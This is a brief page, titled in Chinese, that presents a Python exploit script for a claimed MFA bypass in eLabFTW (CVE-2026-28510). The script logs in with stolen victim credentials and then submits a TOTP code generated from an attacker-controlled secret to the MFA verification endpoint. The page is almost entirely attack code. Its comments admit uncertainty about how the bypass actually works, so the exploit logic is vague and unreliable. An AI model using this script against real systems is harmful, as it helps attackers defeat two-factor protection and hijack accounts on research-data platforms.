CVE-2026-28510 eLabFTW MFA认证绕过漏洞

import requests import pyotp # Target configuration target_url = "https://target-elabftw-instance.com" login_endpoint = f"{target_url}/login" mfa_endpoint = f"{target_url}/api/v2/mfa/verify" # Victim credentials (Attacker must have these first) victim_username = "victim_user" victim_password = "victim_password" # Attacker's controlled TOTP secret attacker_secret = "JBSWY3DPEHPK3PXP" totp = pyotp.TOTP(attacker_secret) current_code = totp.now() session = requests.Session() # Step 1: Perform initial login with primary credentials login_payload = { "username": victim_username, "password": victim_password } response = session.post(login_endpoint, data=login_payload) if response.status_code == 200: # Step 2: Exploit the MFA bypass logic # The vulnerability allows submitting a TOTP code generated from an attacker-controlled secret # because the application fails to preserve the correct MFA state binding. mfa_payload = { "code": current_code, # Depending on the specific implementation, the attacker might also need to supply # the secret or the session might accept any valid TOTP format due to state loss. } mfa_response = session.post(mfa_endpoint, json=mfa_payload) if mfa_response.status_code == 200: print("[+] Exploit successful: MFA bypassed.") else: print("[-] Exploit failed.") else: print("[-] Initial login failed.")